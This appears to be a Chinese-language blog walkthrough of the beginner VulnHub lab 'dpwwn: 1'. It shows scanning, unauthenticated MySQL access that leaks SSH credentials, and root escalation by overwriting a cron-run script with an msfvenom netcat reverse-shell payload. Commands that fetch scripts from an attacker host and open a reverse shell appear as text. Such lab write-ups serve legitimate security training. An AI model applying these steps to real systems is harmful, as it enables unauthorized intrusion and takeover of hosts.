『VulnHub系列』dpwwn: 1-Walkthrough

靶机地址
难度:初级
靶机发布日期:2019年8月4日

在这里插入图片描述
靶机描述:This boot2root is a linux based virtual machine and has been tested using VMware workstation 14.
The network interface of VM will take it’s IP settings from DHCP (Network Mode: NAT).
Goal: Gain the root privilege and obtain the content of dpwwn-01-FLAG.txt under /root Directory.
Note: Tested on VMware workstation 14.
Difficulty: Easy/helpful for beginners.

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

  • nmap
  • searchsploit
  • metaspaloit

存疑、待解决

  • 有没有办法让gcc编译的可执行文件在不同环境下运行?

0x00、信息收集

靶机IP:192.168.0.107

nmap -sP 192.168.0.0/24

在这里插入图片描述
端口和服务

nmap -sS -sV -T5 -A -p- 192.168.0.107

在这里插入图片描述
页面、目录枚举

dirb http://192.168.0.107 -X .php,.txt,.zip,.html

在这里插入图片描述

python3 dirsearch.py -u http://192.168.0.107 -e .php,.txt,.zip,.html

在这里插入图片描述

gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip

在这里插入图片描述
http://192.168.0.107/info.php

在这里插入图片描述
从phpinfo里面可以收集到的信息:

  • 系统信息:Linux dpwwn-01 3.10.0-957.el7.centos.plus.i686
  • PHP版本信息:5.4.16
  • webroot目录:/var/www/html
  • allow_url_fopen(on)和allow_url_include(off)
  • asp_tags(off)
  • extension_dir:/usr/lib/php/modules
  • disable_functions:no value
  • open_basedir:no value
  • libxml版本:2.9.1

searchsploit php 5.4

在这里插入图片描述
searchsploit apache 2.4,无相关exp

在这里插入图片描述

0x01、MySQL未授权访问

基本上已经对现有信息挨个进行了尝试,除了MySQL。这个时候就得考虑一下我们有什么?又可以做什么?只要有可能性,就值得去尝试。

尝试登录MySQL一下试试,因为不知道密码,所以输入密码的地方直接回车,结果进去了。

mysql -h 192.168.0.107 -u root -p

在这里插入图片描述
发现有一个数据库叫ssh,随后发现了用户名和密码

在这里插入图片描述
使用mistic/testP@$$swordmistic登录ssh

在这里插入图片描述

0x02、提权

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中

python linuxprivchecker.py > report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

SUID权限可执行文件,没有可用的

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
当前用户可写文件,发现一堆,但是极大多数都是没用的,所以我先把结果输出到文本文件,然后使用grep加上关键字去筛选。

find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys' /tmp/report.txt

在这里插入图片描述
在这里插入图片描述
查看计划任务,发现logrot.sh这个脚本每三分钟执行一次,以root权限执行

cat /etc/crontab

在这里插入图片描述
修改/home/mistic/logrot.sh的内容为反弹shell

msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.0.110 LPORT=1234 R

msfvenom默认无法自动补全,网上有办法可以实现自动补全,有需要请自行搜索

在这里插入图片描述
kali上使用nc监听1234端口,等待计划任务的执行

在这里插入图片描述

尝试内核提权

在这里插入图片描述
在这里插入图片描述

本来想kali上编译好,然后上传到靶机执行,结果编译的时候出错了,看了一下源码,发现有里面有两个exp……

在这里插入图片描述

试了一下靶机上虽然wget不能用,但是curl却是可以用的,kali上编译好文件之后,使用curl下载文件到靶机,赋予可执行权限,运行时提示:无法执行二进制文件

在这里插入图片描述
Google了一下"bash cannot execute binary file",说是两种原因:第一种是没有可执行权限;第二种是因为是从其他编译环境中拷贝过来的文件。就此作罢。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.
在这里插入图片描述

发布了41 篇原创文章 · 获赞 14 · 访问量 7918

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/102876709